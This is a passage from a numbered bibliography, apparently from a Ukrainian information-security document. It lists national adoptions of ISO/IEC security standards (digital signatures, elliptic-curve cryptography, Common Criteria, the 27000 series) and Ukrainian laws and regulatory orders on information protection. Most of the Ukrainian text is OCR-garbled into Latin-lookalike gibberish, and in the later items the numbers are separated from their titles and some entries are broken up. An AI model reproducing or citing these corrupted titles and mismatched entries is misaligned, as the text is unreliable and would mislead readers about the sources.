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S44. JCTY ISO/IEC 14888-2:2015 (ISO/IEC 14888-2:2008, IDT)
«IHdopmarriiini texHosnorii. Meroau 3axucty. LudpoBi mianucu 3 JOTOBHEHHSIM.
YacTtuna 2. MexaHi3Mu, 1110 IPYHTYIOThCS Ha akTopU3allli MUIUX YUCeTD.

S.45. JICTY ISO/IEC 14888-3:2019 (ISO/IEC 14888-3:2018, IDT)
«IaHdopmarriiini TexHosorii. Merogu 3axucty. LudpoBi mianucu 3 JONOBHEHHSIM.
Yactuna 3. MexaHi3Mu, 10 IPYHTYIOTbCS Ha TUCKPETHOMY JIOTapu(MyBaHHI».

S.46. JACTY ISO/IEC 15408. «3arasibHi KpuTepli OIIIHKA Oe3MeKu
iHdopmariiiaux texHonorii» (The Common Criteria for Information Technology
Security Evaluation).

S.47. JCTY ISO/IEC 15408-1:2022. IndopmariitHa O6e3neka, kibepOeseka
Ta 3axucT KoHbigeHmiHOoCcTI. Kpurepii ominku IT-6esmexku. Yactuna 1. Beryn i
3arajgbHa MOJIEIb.

S.48. ISO/IEC 15408-2:2022. Iudopmariiina Oe3mneka, kidepOesmeka Ta
3axucT kKoHpigeHiHOCTI. Kputepii ominku [T-6e3mneku. Yactuna 2. OyHKITIOHAIBHI
KOMITOHEHTH O€3IEKH.

S.49. ISO/IEC 15408-3:2022. Indopmariiina Oe3rneka, KibepOesneka Ta
3axuct KoHGineHuiHocTi. Kputepii ormintoBanHs [T-6esmexu. Yactuna 3.
KoMmnonenTtu 3abe3nedueHHs 0e3MneKH.

S.50. ISO/IEC 15408-4:2022. IndopmariiiHa Oe3neka, KibepOesneka Ta
3axuct KoHpineHiiHocTI. Kpurepii oninku IT-6e3neku. Yactuna 4. CTpykTypa s
crienudikalii METO/ 1B OLIIHIOBAHHS Ta JTIsJIBHOCTI.

S.51. ISO/IEC 15408-5:2022. Iudopmariiina Oe3mneka, kidepOe3meka Ta
3axuct KoHQineHuiiHocTi. Kputepii omiHtoBanHs [T-0esmexu. Yactuna 3.
[TonepenHbO BU3HAUEHI MAKETU BUMOT J10 O€3MEKHU.

S.52. BSI-BS ISO 15782-1. Certificate management for financial services
Part 1: Public key certificates.

S.53. JACTY ISO/IEC 15946-1:2019 Indopmariitni texnosorii. Mertoau
3axucty. KpunrorpadiuyHi MeTOaM Ha OCHOBI emiNTHYHMX KpuBux. YactmHa 1.
Baranpui nosokeHHs (ISO/IEC 15946-1:2016. Information technology — Security
techniques — Cryptographic techniques based on elliptic curves —Part 1. General,
IDT).

S.54. ISO/IEC 15946-2:2002. Information technology — Security
techniques — Cryptographic techniques based on elliptic curves —Part 2: Digital
signatures.

S.55. JICTY ISO/IEC 15946-5:2019 (ISO/IEC 15946-5:2017) «Indopmariiini
TexHoJsorii. Meronu 3axucty. KpunrorpadiuHi MeToIM Ha OCHOBI EIINTUYHUX
kpuBHX. YactuHa 5. ['eHepyBaHHS €NINTUYHUX KPUBUX.

S.56. [ISO/IEC 17000:2020 Conformity assessment — VVocabulary and general
principles.

S.57. JICTY EN ISO/IEC 17065:2014 Ominka BignoBigHOCTI. Bumornm mo
opraniB 3 ceptudikarii mpoaykitii, mporeciB Ta nmocayr (EN ISO/IEC 17065:2012,
IDT).

S.58. JICTY ISO/IEC 18031:2015 (ISO/IEC 18031:2011; Cor 1:2014, IDT)
«Iadopmarriiini TexHosorii. Meroau 3axucty. [ 'eHepyBaHHS BUMAAKOBUX OITIBY.

S.59. JCTY ISO/IEC 18033-2:2015 (ISO/IEC 18033-2:2006, IDT)
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«Inopmaniiini TexHosorii. Meronu 3axucty. Anroputmu mudpysanss. Yactuna 2.
AcumeTpuuHi mHUppu».

S.60. JACTY ISO/IEC 18033-3:2015 (ISO/IEC 18033-3:2010, IDT)
«IHdopmarriiini TexHosorii. Metoau 3axucty. AnroputMu mudpyBanHs. Yactuna 3.
biokogi mudypm».

S.61. JCTY ISO/IEC 18033-4:2015 (ISO/IEC 18033-4:2011, IDT)
«IHdopmarriini TexHosorii. Metoau 3axucty. Anroputmu mudpyBanHs. YactuHa 4.
[ToTtokoBi mmdpm».

S.62. JICTY ISO/IEC 18045:2015 Indopmamiiini TtexHozorii. Metoau
3axucty. Metomonoris omiaroBanHs Oe3meku [T (ISO/TEC 18045:2022 Information
security, cybersecurity and privacy protection — Evaluation criteria for |IT
security — Methodology for IT security evaluation).

S.63. JCTY ISO/IEC 20085-1 «Metonu 3axucty IT. Bumorn mo 3aco0iB
TECTyBaHHSA Ta METOIB KajiOpyBaHHS 3ac00iB TECTYBaHHS ISl 3aCTOCYBaHHS y
METO/IaX TECTYBaHHS IMOM SIKIIICHHSI HEIHBa31MHUX aTak Ha KpuUnTorpadiuHi MOJIyi.
Yactuna 1. MeTosiu Ta 3ac00M TECTYBaHHS.

S.64. JICTY ISO/IEC 20085-2 «Metoau 3axucty IT. Bumorn no 3aco0iB
TECTyBaHHA Ta METOIB KajiOpyBaHHS 3ac001B TECTYBAHHS Il 3aCTOCYBaHHS y
METO/IaX TECTYBaHHS IMOM SIKIIICHHSI HEIHBa31MHUX aTak Ha KpuUNTorpadiuHi MOJIyIi.
Yactuna 2. MeToiu Ta Ipujay TECTOBOIO KamiOpyBaHHSD».

S.65. JICTY ISO/IEC 20543 «Iudopmariiiini TexHomorii. MeToan 3axucTy.
Meroau TecTyBaHHA Ta aHAJI3y JJI1 FTEHEPYBAHHS BUIIAJKOBUX OITIBY.

S.66. JICTY ISO/IEC 27000:2019 Indopmariiini TtexHoiorii. Metoau
3axucTy. Cuctemu ynpasiiHHs iHpopMailiitHoto 6e3nexoro. OrJisif i CIOBHUK TEPMIHIB
(ISO/IEC 27000:2018, IDT).

S.67. JCTY ISO/IEC 27001:2015 Indopmarmiiini TtexHomorii. Mertonu
3aXMCTy CHUCTEMHU ympaBmiHHS 1H(opmariiiHoto Oe3nekoto. Bumorn (ISO/IEC
27001:2013; Cor 1:2014, IDT).

S.68. JACTY ISO/IEC 27002:2015 Indopmariitni TtexHosorii. Meroau
3aXMCTy. 3BiJl MPAKTUK 11010 3ax0/11B iHpopMariitHoi 6e3neku (ISO/IEC 27002:2013;
Cor 1:2014, IDT).

S.69. JACTY ISO/IEC 27003:2018 Iudopmariitni TtexHosorii. Meroau
3axucty. Cucremu ympaBiiHHs iH(opmMmariiHoo Oesnexoro. HacranoBa (ISO/IEC
27003:2017, IDT).

S.70. JCTY ISO/IEC 27004:2018 Indopmarmiiini TtexHojorii. Metoau
3axucty. CucrteMu ynpaBimiHHS — iHGOpMaliiiHOO  Oe3nekor. MOHITOpPUHT,
BUMIpIOBaHH4, aHajizyBanHs Ta ouiHoBaHHs (ISO/IEC 27004:2016, IDT).

S.71. JACTY ISO/IEC 27005:2019 Indopmariitni texHosorii. Meroau
3axucTy. YmpaBiiHHsA pusukamu 1H@opmauiinoi 6esnexku (ISO/IEC 27005:2018,
IDT).

S.72. JACTY ISO/IEC 27006:2015 Indopmarmriitai TtexHosorii. Meroau
3axucTy. Bumoru 10 oprasis, Kl HaJal0Th MOCIYTH 3 ayAUTY 1 cepTUdikalii cucTeM
ynpasiiaHs iHGopmartiitHoro 6e3nekoro (ISO/IEC 27006:2015, IDT).

S.73. JACTY ISO/IEC 27007:2018 Iudopwmariitni texnosorii. Mertoau
3axucty. HacranoBa mo/10 ayiuTy CHUCTEM YHpaBIiHHS 1HPOpPMAIIHOIO Oe3MeKor0
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(ISO/IEC 27007:2017, IDT).

S.74. JICTY ISO/IEC TS 27008:2019 Indopmartiitai TexHosorii. Metoau
3axucty. HactaHoBa 1mo/10 omiHOBaHHS 3axUCTy iH(popMaiitHoi 6e3nexu (ISO/IEC
TS 27008:2019, IDT).

S.75. JICTY ISO/IEC 27009:2018 Iudopmarmiitai TexHosorii. Metoau
3axucty. CucteMu ynpasiiHHs iHGopMaliitHoo Oe3nekoro. Buznauenus mis chepu
3acrocyBanus ISO/IEC 27001. Bumoru (ISO/IEC 27009:2016, IDT).

S.76. JICTY ISO/IEC 27010:2018 Iudopmariitni TtexHomorii. Mertoau
3aXMCTy. YTOpaBmiHHSA iHQOpMAIiHOIO OE3MeKOol JUIA  MDKTaly3eBHX Ta
Mibxopranizaiiitaux komysikaiiit (ISO/IEC 27010:2015, IDT).

S.77. JICTY ISO/IEC 27011:2018 Indopmarmiiini TtexHozorii. Metoau
3axucty. HacranoBa i TeneKOMYHIKAIIMHUX OpraHi3amiil 1040 YIpaBIiHHSI
iH(opmMmariitnoro 6e3nekoro Ha ocHoBl ISO/IEC 27002 (ISO/IEC 27011:2016, IDT).

S.78. JACTY ISO/IEC 27013:2017 Indopmariitni TexHoisorii. Meroau
3axucty. HactanoBu mis interpoBanoro BupoBakenHs [ISO/IEC 27001 ta ISO/IEC
20000-1 (ISO/IEC 27013:2015, IDT).

S.79. ISO/IEC 27014:2020. [ndopmarriitna Oe3neka, kibepOesneka Ta 3aXucT
KOH(D1IeHIIIHOCTI — YTpaBmiHHs 1HGOpMAIIHOIO 0€3MEKOIO.

S.80. ISO/IEC TR 27015:2012. IadopmamiitHi TexHoiorii — Metoau
oe3rnekn — HactanoBu 111010 ynpaBimiHHS 1HGOpMAIHOIO 0e3neKoro 1 HiHaHCOBUX
MOCITYT.

S.81. ISO/IEC TR 27016:2014. Iudopmariitni texHomorii — TexHika
Oe3nexku — YpasiiHHs iH(opMaliitHoo 6e3nexoro — EkoHoMika opraHizaiiii.

S.82. JICTY ISO/IEC 27017:2017 Indopmarmiiini TtexHojorii. Metoau
3aXMCTy. 3B1J] MPAKTUK CTOCOBHO 3aX0/1B IHPOpPMaLIHOI O0€3MeKH, 10 IPYHTYIOThCS
Ha [SO/IEC 27002, nist xmapuux nocayr (ISO/IEC 27017:2015, IDT).

S.83. ACTY ISO/IEC 27018:2019 Indopmariitni TtexHosorii. Meroau
3axucty. Kojeke ycraieHoi MpakTUKY IS 3aXUCTy TMePCOHANBHOT 11eHTU(IKALIIITHOT
indopmarii (PII) y 3aranmpHOmOCTYmHMX XMapax, IO AifOTh sIK Tporiecopu PlI
(ISO/IEC 27018:2019, IDT).

S.84. JNACTY ISO/IEC 27019:2019 Indopmariitni texnosorii. Meroau
3axucty. CucreMu ynpaBiaiHHS 1HQOpMAIIHHOIO 0€3MEeKO0I0 sl eHEPronocTavyalIbHUX
opranizaiiit (ISO/IEC 27019:2017, IDT).

S.85. JICTY ISO/IEC 27021:2018 Indopmariiini TtexHosorii. Metoau
3axucTy. Cuctemu ynpapiiHHS iHGOpMaliiiHOK Oe3nekorn. BuMoru 10 koMmneTeHiii
npodecionanis 3 ynpasiinas iHGopmarttiero (ISO/TIEC 27021:2017, IDT).

S.86. ACTY ISO/IEC 27031:2015 Iudopmariitni texHosorii. Meroau
3axucTy. HacTaHOBUM 111010 TOTOBHOCTI 1H(OPMAIITHO-KOMYHIKAIIMHUX TEXHOJIOT1H
u1s HenepepBHocTi pobotu 613Hecy (ISO/IEC 27031:2011, IDT).

S.87. ACTY ISO/IEC 27032:2016 Indopmariitai TtexHosorii. Meroau
3axucty. Hacranosu oo kibep6esneku (ISO/IEC 27032:2012, IDT).

S.88. JACTY ISO/IEC 27033:2017. Iudopmariitni TexHomorii. Meroau
3axucty. besneka mepexi (JICTY ISO/IEC 27033-1:2017 [ndbopmariitHi TeXHOJIOT].
Meronu 3axucty. 3axuct mepexi. Yactuna 1. Ormsin 1 mousarta (ISO/IEC 27033-
1:2015, IDT); ACTY ISO/IEC 27033-2:2016 Indopmariitni Texnomorii. Metoau
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3axucty. besneka mepexi. Yactuna 2. HactaHoBHM 1110710 IPOEKTYBaHHS Ta peaii3arii
oesnekn mepexi (ISO/IEC 27033-2:2012, IDT); ACTY ISO/IEC 27033-3:2016
Indopmariitai TexHomorii. Meroau 3axucty. besneka mepexi. Yactuna 3. Eramonni
MEpEXEeBl CleHapli. 3arpo3u, METOJIM MNPOEKTYBaHHS Ta MPOOJEMHU YIPaBIIHHSA
(ISO/IEC 27033-3:2010, IDT); ACTY ISO/IEC 27033-4:2016 Iudopmariiini
texHosorii. Metoau 3axucty. besnexka wepexi. Yactuna 4. YOesnedeHHS
KOMYHIKaIllil MK MepekaMmH 3 BUKopucTaHHAM 1utro3iB Oesnexu (ISO/IEC 27033-
4:2014, 1IDT); ACTY ISO/IEC 27033-5:2016 Indopmariitai TtexHomorii. Meroau
3axucTy. besneunicts Mepexi. HactuHa 5. YOe3nedeHHss KOMyHIKaIli y3/I0BXK MEPExX
13 BUKOpUCTaHHAM BipTyanbHux mpuBaTHuX Mepex (VPNs) (ISO/TEC 27033-5:2013,
IDT); ACTY ISO/IEC 27033-6:2018 Iudopmartiitai TexHosorii. MeToau 3axucry.
besneka mepexi. YHactuna 6. 3abe3nedeHnst 6e3MpoBOAOBOTO noctymny a0 [P-mepexi
(ISO/IEC 27033-6:2016, IDT); ISO/IEC CD 27033-7. IndbopmariiiHa TEXHOJIOTIS.
besneka mepexi. Yactuna 7. HactanoBu mo0 0e3neku BipTyari3allii Mepexi).

S.89. JACTY ISO/IEC 27034:2017 Indopmariitni TexHosorii. Meroau
3axucTy. besneka nporpam (JICTY ISO/IEC 27034-1:2017 Indopmariiiini TeXHOJIOTII.
Meronu 3axucty. besneka mpuxmamgnux mporpam. Yactuna 1. Ormsn 1 3araibHi
nousatTs (ISO/IEC 27034-1:2011; Cor 1:2014, IDT); ACTY ISO/IEC 27034-2:2016
[ndopmartiitii rexnosnorii. Meroau 3axucty. besneka npukiagHux mporpam. Yactuna
2. OcHoBHI HopMatuBHI mnojoxeHHs opranizamii (ISO/IEC 27034-2:2015, IDT);
JCTY ISO/IEC 27034-3:2018 Indopmarriiiai TexHozorii. Meroau 3axucty. besneka
npukiaagHux mnporpam. Yactuna 3. Ilpomec ymnpaBiiHHA O€3MEKOK MPUKIATHHX
nporpam (ISO/IEC 27034-3:2018, IDT), ACTY ISO/IEC TS 27034-5-1:2019
[npopmariitni TexHosorii. 3axuct 3actocyHkiB. Yactuna 5-1. CTpykrypa AaHux
VIOPABIIHHSA TPOTOKOJIaMH Ta 3axucTtoM 3actocyHkiB. Cxemu XML (ISO/IEC TS
27034-5-1:2018, IDT); ACTY ISO/IEC 27034-6:2018 IndopmariitHi TexXHOJOTII.
Meronu 3axucty. besneka npukiaguux nporpam. Yactuna 6. BuBueHHsS BHUMa/KiB
(ISO/IEC 27034-6:2016, IDT); ISO/IEC 27034-7:2018. IndopmariiiiHi TEXHOJIOTII.
besneka noxatkiB. Yactuna 7. CTpykTypa IpOrHO3yBaHHS BIIEBHEHOCT).

S.90. ACTY ISO/IEC 27035:2018 Iudopmariitni Ttexuosorii. Meroau
3axucTy. YTpaBiiHHa iHuuaeHTamu iHdopmartiiinoi 6esnexu (JCTY ISO/TEC 27035-
1:2018 Indopmariiini TexHojorii. Meroau 3axucTy. YTIpaBliHHS 1HIUJICHTAMH
iHdopmarriitnoi 6e3neku. Yactuna 1. [punnunu ynpasninas iHmmaeaTamu (ISO/IEC
27035-1:2016, IDT), ACTY ISO/IEC 27035-2:2018 IndopmariiiHi TexXHOJOTII.
Meroau 3axucTy. YnpaBiiHHA 1HIMAEHTaMH 1H(popmarliiiHoi Oe3neku. YactuHa 2.
HacranoBa 110,10 njiaHyBaHHs Ta MiATOTOBKHU 10 pearyBaHHs Ha iHIuaeHTH (ISO/IEC
27035-2:2016, IDT); ISO/IEC 27035-3:2020. [Hdopmarriiina TexXHOIOTIS. Y IpaBIiHHS
iHuMaeHTamMu 1Hdopmaliinoi Oe3neku. Yactuna 3. HacraHoBu 11010 ornepaiiid
pearyBanHs Ha iHuuaeHtu IKT; ISO/IEC CD 27035-4. IndopmariiiHi TE€XHOIOTII.
VYmpasninuas iHnuaeHTamu iHdopmariiinoi 6e3neku. Yactuna 4. Koopaunartis).

S.91. ACTY ISO/IEC 27036:2017 Indopmariitai TexHosorii. Meroau
3axucty. [HpopmariiitHa Ge3neka y BigHocHHax i3 mocradanpaukamu (JICTY ISO/IEC
27036-1:2017 Tadopmartiitai TexHosorii. Meroau 3axucty. [Hpopmariiitna 6e3neka y
BiIHOCHHAX 13 mocradanbHukaMu. YactuHa 1. Orisga ta morsatrsa (ISO/IEC 27036-
1:2014, 1IDT); ACTY ISO/IEC 27036-2:2017 Iadopmarriiiai TexHoorii. MeToau
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3axucty. [H(popmariiiina Oe3meka y BIAHOCHMHAX 3 MOCTadaJibHMKamMu. YactuHa 2.
Bumoru (ISO/IEC 27036-2:2014, IDT); ACTY ISO/IEC 27036-3:2017 Indopmariiini
TexHosorii. Meroaun 3axucty. IHdopmariiiina Oe3neka y  BIJHOCHMHAx 3
nocrauanbHukamMu. Yactuna 3. HacranoBu miofo Oe3nekd JIaHIIOTa MOCTayaHHS
iHpopMariiftHuX Ta kKoMmyHikariiaux Ttexnosorid (ISO/IEC 27036-3:2013, IDT);
JNCTY ISO/TIEC 27036-4:2018 Indopmariitni  TexHosorii. MeTtoau 3axucry.
[ndopmariiitna Oe3neka y BigHOCHMHAaX 3 mocTtadaibHukamu. Yactuna 4. Hacranosa
o0 o6e3nekn xmapuux rmociyr (ISO/IEC 27036-4:2016, 1DT)).

S.92. JICTY ISO/IEC 27037:2017 Indopmarmiiini TtexHoiorii. Metoau
3axucty. HactanoBm mansa imentudikarii, 30upaHHs, 3700yTTs Ta 30€peKeHHs
nudpoux aokasiB (ISO/IEC 27037:2012, IDT).

S.93. JCTY ISO/IEC 27038:2018 Indopmariiini TtexHozorii. Metoau
3axucty. Cnenudikariis nudposoro penaryBanss (ISO/IEC 27038:2014, IDT).

S.94. JACTY ISO/IEC 27039:2017 Indopmariitni TtexHoisorii. Meroau
3axucty. BuOupanHs, po3ropTaHHs Ta EKCIUTyaTyBaHHSI CHCTEM BHUSBIICHHS Ta
3anoOiranHs BroprueHusam (IDPS) (ISO/IEC 27039:2015, IDT).

S.95. JCTY ISO/IEC 27040:2016 Indopmariitni TtexHoisorii. Meroau
3axucty. besneka 36epiranns (ISO/IEC 27040:2015, IDT).

S.96. ACTY ISO/IEC 27041:2016 Indopmariitni TtexHoisorii. Meroau
3axucTy. IlociOHMK 13 3a0e3rmeueHHs NPUUHATHOCTI Ta aJIeKBaTHOCTI METO/IIB
po3scaiayBanss (ISO/IEC 27041:2015, IDT).

S.97. JCTY ISO/IEC 27042:2016 Indopmariiini TtexHojorii. Metoau
3axucty. HacraHoBu mon0 aHamizy Ta iHTepnperauii uudposoro aokazy (ISO/IEC
27042:2015, IDT).

S.98. JICTY ISO/IEC 27043:2016 Indopmarmiiini TtexHojorii. Metoau
3axucTy. [Ipunnunu ta nporecu posciiayBanHs iHuAeHTIB (ISO/IEC 27043:2015,
IDT).

S.99. JACTY ISO/IEC 27050-1:2018 Indopmariitni texuosorii. Meroau
3axucty. Enextponne BusiBnenns (ACTY ISO/IEC 27050-1:2018 Iadopmariiiai
TexHosorii. Meroau 3axucty. Enektponne BusiiaeHHs. Yactuna 1. Orisia Ta OHATTS
(ISO/IEC 27050-1:2016, IDT); ISO/IEC 27050-2:2018. Indopmariiiina TeXHOIOTS.
Enextponne Binkpurta. Yactuna 2. KepiBHUIITBO 3 YIpaBIiHHSA €JIEKTPOHHUM
BinkpurtsaM; JICTY ISO/IEC 27050-3:2018 Iudopwmarriiini texnosorii. Meroau
3axucty. EnektponHe BusiBieHHs. YactuHa 3. 3BiAg OpaBWil ISl €JIEKTPOHHOIO
susisnenns (ISO/IEC 27050-3:2017, IDT); ISO/IEC 27050-4:2021. Tadopmartiiini
TexHoJoT1i — Enextponne Biakpurts — Yactuna 4: TexHiuHa TOTOBHICTb).

S.100. ISO/IEC 27099:2022. IndopmariitHi TexHosorii — [HdpacTpykTypa
BIIKpDUTHX KJItOU1B — [IpakTrKa Ta paMKH MOJITHKH.

S.101. ISO/IEC 27102:2019 «Information security management — Guidelines
for cyber-insurance» («YnpaBmiHHs iHpopMariiHOO Oe3nekor. IlociOHMK 3
KibepcTpaxyBaHHS).

S.102. ICTY T'OCT 28147:2009 Cucrema o0poOku iHpopmarliii. 3axuct
kpunrorpadiuauii. Anroputm kpuntorpadiunoro nepersoperns (TOCT 28147-89).

S.103. ACTY ISO 31000:2018 MenemxmeHnT pusukiB. I[lpunnumm Ta
HactadoBu (ISO 31000:2018, IDT).
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S.104.

JNCTY IEC/ISO 31010:2013 KepyBanust puzukoMm. MeTtoau 3araabHOTO

oumintoBanHs pm3uky (IEC 31010:2019 Risk management — Risk assessment
techniques, IDT).

S.105.

CHCTCMMU.

S.106.
S.107.

JCTT'OCT 34.602-89 TexHiuHe 3aBIaHHS CTBOPEHHS aBTOMATHU30BaHOT

3akoH Ykpainu «IIpo akpeauTaliito oprasiB 3 OI[IHKH BIJIIOBITHOCTI».
3akon Ykpainu «IIpo JepkaBHy ciyxOy cCIeliaJIbHOTO 3B'S3Ky Ta

3axuCTy iH(popMalii YKpaiHu».

S.108.
S.109.

3akoH Ykpainu «IIpo nepkaBHY TAEMHHULIIO.
3akon Yxkpainum «lIpo JlepxkaBHUII KOHTPOJb 3a MIKHAPOJHUMU

neperayamMy TOBapiB BiiCKKOBOTO MPU3HAYCHHS Ta MOIBIMHOTO BUKOPUCTAHHSD).

S.110.
S.111.

3akoH Ykpainu «IIpo goctyn no myOmiuHoi iHbOopMaIii».
3akoH Ykpainu «lIpo eneKkTpoHHI JOKYMEHTH Ta €JIEKTPOHHUI

JIOKYMEHTOO00IT».

S.112.

3akoH Ykpainu «IIpo enexTpoHHI JOBipUl MOCIYyTW», HA 3MIHY 3aKOHY

VYkpainu «IIpo enekTpoHHUI UPPOBUIA MiITHCH.

S.113.
S.114.

3akoH Ykpainu «IIpo enekTpoHHI KOMyHIKAIii.

3akon VYkpainu «lIpo 3axuct iHdopmaiii B iHDOpMAaIliiHO-

TEJIEKOMYHIKAIIIHHUX CUCTeMax).

S.115.
S.116.
S.117.
S.118.
TISIIBHOCT.
S.119.
S.120.
S.121.

3akoH Ykpainu «IIpo 3aXUCT nepcoOHANBbHUX JaHUX).

3akoH Ykpainu «lIpo indopmarriro».

3akoH Ykpainu «IIpo kpuTHuHy 1HQPACTPYKTYPY».

3akoH Ykpainu «[Ipo sineH3yBaHHS TNMEBHMX BHJIB TOCIOAAPCHKOL

3akoH Ykpainu «IIpo o6opony Ykpainmy.
3akoH Ykpainu «IIpo ocBiTy».
3akoH Ykpainu «[Ipo ocHOBHI 3acaiu AepKaBHOTO HATISAY (KOHTPOJIIO)

y cdhepi rocriogapchKoi JIsITBHOCTIY.

S.122.

Ykpainu».

S.123.
S.124.
S.125.
S.126.

3B'SI3KY».

S.127.
S.128.
S.129.
S.130.
S.131.

IHonoxeuusa

3akoH Ykpainu «IIpo ocHOBHI 3acamu 3a0e3neueHHs KiOepOe3rneku

3akoH Ykpainu «IIpo HayKOBY 1 HAYKOBO-TEXHIYHY €KCIIEPTHU3Y».
3akoH Ykpainu «IIpo HaykoBO-TexXHIYHY 1H()OPMAITIIION.

3akoH Ykpainu «IIpo HarioHanbHy 6€3meky YKpaiHmy.

3akoH VYkpainu «IIpo HamionansHy cuctemMy KOH(DIJIEHUIIHHOTO

3akoH Ykpainu «IIpo MeTposorito Ta METPOJIOTIUHY IiSUTbHICTH.
3akoH Ykpainu «lIpo npaBoBuil pe:KUM BOEHHOTO CTaHY».

3akoH Ykpainu «IIpo pagiogacToTHUlM pecype YKpaiHmy.

3akoH Ykpainu «IIpo TenekomyHikaiii.

Hakaz JICTC3I Cb VYkpainu Bix 23.02.2002 Ne 9 «IIpo 3aTBepKeHHS
PO JTO3BUIBHHUM TOPSAIOK MPOBEACHHS POOIT 3 TEXHIYHOTO 3aXHUCTY

iH(dOopMaIIii Ay BIacHUX MOTpedy, 3apeecTpoBanmii B MiHICTEpCTBI FOCTHUINT YKpaiHu
13.03.2002 3a No245/6533.

S.132.

Haka3z Anminictpamii Jlepxkcmernss’szky Big 22.03.2007 Ne 36 «IIpo

3arBep KeHHs [1070)KeHHS MPO TOPSIOK PO3POOJICHHS, MPUHHATTS, TEPEersay Ta
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CKacyBaHHS MDKBIJOMYUX HOPMATHUBHUX JOKYMEHTIB CHUCTEMHU TE€XHIYHOTO 3aXUCTY
iH(dopmarlii», 3apeectpoBanuil B MinictepcetBi toctuilli Ykpainu 04.04.2007 3a No
312/13579.

S.133. Haka3z Anaminictpamii Hepxcnen3s’s3ky Big 26.03.2007 Ne 45 «IlIpo
3arBepKeHHs [1opsiiKy OHOBJIEHHS aHTHBIPYCHHUX IMPOrPAMHHX 3aCc00iB, SIK1 MalOTh
MO3UTUBHUI €KCIIEPTHUM BUCHOBOK 3a pe3yjbTaTaMu Jep>KaBHOI eKCIepTU3u B cepi
TEXHIYHOT'0 3aXUCTy 1HpopMmaIlii», 3apeecTpoBaHuil B MiHICTEPCTBI IOCTHUIIIT Y KpaiHu
10.04.2007 3a Ne 320/13587.

S.134. Haxa3z Anminictpamii Jepxxcnenss’si3ky Bin 16.05.2007 Ne 86 «Ilpo
3atBepakeHHs [lonoxeHHs mpo Jlep:kaBHUI KOHTPOIb 38 CTAHOM TEXHIYHOT'O 3aXUCTY
iHbopMarlii mig Yac AISIBHOCTI Ha TepUTOpli YKpaiHW 1HO3EMHUX 1HCTIEKIIIHHHX
rpym», 3apeectpoBaHuii B MinictepctBi toctuuii Ykpainu 04.06.2007 3a Ne
577/13844.

S.135. Haka3z Anminictpamii Jepsxkcnenss’sizky Big 16.05.2007 Ne 87 «IIpo
3arBepkeHHs [lonoxxenns mpo JlepaBHU KOHTPOJIb 32 CTAHOM TEXHIYHOTO 3aXUCTY
iHdopmarrii», 3apeectpoBanuil B Minictepceti roctuili Ykpainu 10.07.2007 3a No
785/14052.

S.136. Haka3z Anminictpamii Jepsxkcnenss’s3ky Big 16.05.2007 Ne 93 «IIpo
3aTBepAKeHHs [1oM0KeHHs Tpo JIep’KaBHY €KCHEepTU3y B c(hepl TEXHIYHOIO 3aXUCTY
iHdopmari», 3apeectpoBanuil B MinictepctBi roctuili Ykpainu 16.07.2007 3a No
820/14087.

S.137. Haka3z Anminictparii Hepxcnen3s’szky Big 29.05.2007 Ne 100 «IIpo
3aTBep/KeHHs [HCTpyKIii mpo mopsiAoK odopmieHHs Ta ckiafgaHHs Jlep:KaBHORO
CIIy’0010 CHELIaJbHOTO 3B’SI3Ky Ta 3axucTy 1H(popmanii YKpaiHu MarepianiB Mpo
aZAMIHICTPaTUBHI TPABOMOPYILIEHHS», 3apEeECTpPOBaHMA B MIHICTEPCTBI FOCTHIIIT
Yxpainu 12.06.2007 3a Ne 618/13885.

S.138. Haka3z Anaminicrparii Jepxcnen3s’sizky Big 12.06.2007 Ne 114 «IIpo
3aTBepKEHHST [HCTPYKIIT TPO MOPSIIOK MOCTayaHHS 1 BUKOPUCTAHHS KIIOYIB J0
3ac001B KpUnTorpadiuHoro 3axucTty iH(opMalii», 3apeecTpoBanuii B MiHICTEpPCTBI
roctulii Ykpainu 25.06.2007 3a Ne 729/13996;.

S.139. Haka3z Anaminicrparii Jepxcnen3s’sizky Big 20.07.2007 Ne 141 «IIpo
3arBepKeHHs [[07105KeHHS TIPO MOPSIIOK pO3pOOIICHHS, BAPOOHUIITBA Ta €KCIUTyaTallii
3ac001B KpUINTOrpadiuHoro 3axucTy iH(opMalii», 3apeecTpoBanuii B MiHICTEpCTBI
foctutii Ykpainu 30.07.2007 3a Ne 862/14129.

S.140. Haka3z Anminictpamii Jepxxcmenss’si3ky Bim 16.04.2008 Ne 64 «Ilpo
3arBepkeHHs [lopsaky popmyBanHs Peectpy opranizaTtopiB Aep»aBHO1 €KCIIEPTU3H
y cepi TexHIuHOTO 3axXUCcTy 1HpOopMaIlii Ta Peectpy ekcriepTiB 3 MUTaHb TEXHIYHOTO
3aXUCTY 1HpOpMaITii».

S.141. Haka3z Apaminictpamii [epxcnenss’sizky Big 10.06.2008 Ne 94 «IlIpo
3arBepKeHHs [lopsaky KoopauHaIii JisIbHOCTI OPraHiB IepKaBHOT BJIaJH, OPTaHiB
MICIIEBOTO CaMOBPSITyBaHHS, BIWCHKOBHX (OpMyBaHb, MIANPHEMCTB, YCTAHOB 1
oprasizaiiii He3aJIeKHO Bi (GOpM BIACHOCTI 3 MUTaHb 3amoOiraHHs, BUSABICHHS Ta
YCYHEHHSI HACIIJKIB HECAaHKIIOHOBAHUX i MI0J0 JAepkKaBHUX 1HGOPMAIIITHIX
pecypciB B iHGOpMaIiiiHUX,  TEJIEKOMYyHIKamiMHNX Ta  iH(OpMaIiifHo-
TenekoMyHikamiitHnx CrucreMaxy, 3apeecTpoBanuii B MiHICTepCTBI FOCTHUINT YKpaiHH
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07.07.2008 3a Ne 603/15294.

S.142. Haka3z Anminictparii Jepkcrnen3s’s3ky Bijg 23.06.2008 Ne 100 «IIpo
3arBepKeHHs [loyiokeHHsT Mpo JepikaBHY eKCIepTu3y B cdepi KpUunTorpadiqyHoro
3axucTy iHpopmarlii», 3apeectpoBanuii B MinicTepceTsi toctuiiii Ykpainu 16.07.2008
3a Ne 651/15342;.

S.143. Haka3z Anminictparii Jepskenen3s’s3ky Big 29.11.2008 Ne 200 «IIpo
3arBep/KeHHss CTaHJapTy HaJaHHSA aJMIHICTPAaTUBHOI TOCHYTM 3 Oprasizaiii
JepKaBHOI ekcrepTusu y chepi kpunrorpadiyHoro 3aXucTy iHpopmarii»;.

S.144. Haxa3z Anminictpamii Jepxcnenss’sisky Bim 11.03.2011 Ne 53 «IIpo
3arBepKeHHs [lopsaKky HaTaHHSI BUCHOBKIB 1 OTO/IKEHHS €KCITOPTY Ta TAMYACOBOTO
BHBE3CHHS TOBAapiB BIMCHKOBOTO MpPHU3HAYEHHS 1 MOABIMHOTO BUKOPHUCTAHHSA, SKI
